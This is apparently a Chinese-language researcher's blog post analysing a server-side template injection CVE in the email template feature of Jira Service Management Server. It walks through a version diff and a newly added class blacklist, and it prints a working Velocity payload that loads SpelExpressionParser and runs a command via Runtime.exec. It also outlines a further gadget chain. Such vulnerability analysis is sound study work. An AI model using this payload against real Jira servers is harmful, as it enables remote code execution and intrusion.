邮件模板注入导致Jira Service Management Server上的代码执行
我已在此处指导了部署+调试 在此,大家可以参考。
在 描述 中,此CVE已明确指出漏洞位于Email Template功能。拥有管理员权限的用户可以随意修改通知邮件的模板。此漏洞需要管理员权限才能利用,因此即使有RCE也不严重,但我仍决定写这篇博客以娱乐为目的 :) 正在研究SSTI的朋友可以参考。
atlassian-jira-servicedesk-4.17.0-m0006-standalone版本,并尝试diff其与4.18.0版本的区别:

看到这一堆时,……显然我不会一个一个地读文件,我很懒。开个玩笑,实际上除了安全修复之外,各版本还有功能升级和变化。全部diff然后坐下来阅读非常耗时。当然,在某些情况下我必须全部diff然后阅读,但在这个案例中我不会那样做 =)))
SendBulkMail功能来创建通知邮件。关于此端点的调用栈,我就不详细说明了,因为它与 CVE-2019-11581 中的调用栈类似。在SimpleNote.render函数中,我可以查看上下文变量,看看可以利用什么:
根据我个人的经验,我会注意检查包含以下关键词的上下文/类:Utils、Manager、service等。我注意到上下文$jirautils(类com.atlassian.jira.util.JiraUtils)包含方法public static <T> T loadComponent(String className, Class<?> callingClass):
我四处查找文档了解其功能和使用方式,因为输入是String className,输出是一个类,所以很可能该方法可以随意加载类:
我进入 System -> Email templates 并将当前模板文件下载到本地
有很多不同的模板,每个用于不同类型的通知,所以我找一个可以用于多种通知的文件,比如 email\html\includes\header.vm
上传修改后的模板文件后,使用 SendBulkMail 发送通知邮件。我在邮件中看到了这样的输出:
大概意思是该类没有构造函数或不被接受。我尝试使用另一个有构造函数(无参构造函数)的类:
结果如预期,我成功获取了类:
我们看到新增了3个黑名单类:
org.springframework.expression.spel.standard.SpelExpressionParser,\
com.atlassian.jira.component.ComponentAccessor,\
com.atlassian.jira.plugin.ComponentClassManager
逐个检查这些类时,我注意到SpelExpressionParser类有方法public SpelExpression parseRaw(String expressionString),谷歌搜索用法后大概可以这样用:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')")
如大家所见,parseRaw方法返回一个org.springframework.expression.spel.standard.SpelExpression类的对象,并未实际解析表达式。我进入SpelExpression类,看到有getValue方法:
@Nullable
public Object getValue() throws EvaluationException {
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
EvaluationContext context = this.getEvaluationContext();
return compiledAst.getValue(context.getRootObject().getValue(), context);
} catch (Throwable var4) {
if (this.configuration.getCompilerMode() != SpelCompilerMode.MIXED) {
throw new SpelEvaluationException(var4, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION, new Object[0]);
}
}
this.compiledAst = null;
this.interpretedCount.set(0);
}
ExpressionState expressionState = new ExpressionState(this.getEvaluationContext(), this.configuration);
Object result = this.ast.getValue(expressionState);
this.checkCompile(expressionState);
return result;
}
看输入/输出,作为一个靠直觉的人,我决定直接尝试,不再看文档:
#set($SpelExpressionParser = $jirautils.loadComponent('org.springframework.expression.spel.standard.SpelExpressionParser',$i18n.getClass()))
$SpelExpressionParser.parseRaw("T(java.lang.Runtime).getRuntime().exec('calc')").getValue()
结果:
至此我们已能绕过Velocity的沙箱实现RCE。但站在发现此漏洞的作者的角度,还有许多我无法解释的问题:
当我研究这3个类时,发现它们可以形成一个链:
ComponentAccessor.getComponentClassManager()
=> ComponentClassManager.newInstance(String className) (此类可以随意加载类)
=> SpelExpressionParser
如果作者像我一样使用$jirautils,则不需要另外两个类。但如果作者不使用$jirautils,如何获得ComponentAccessor呢?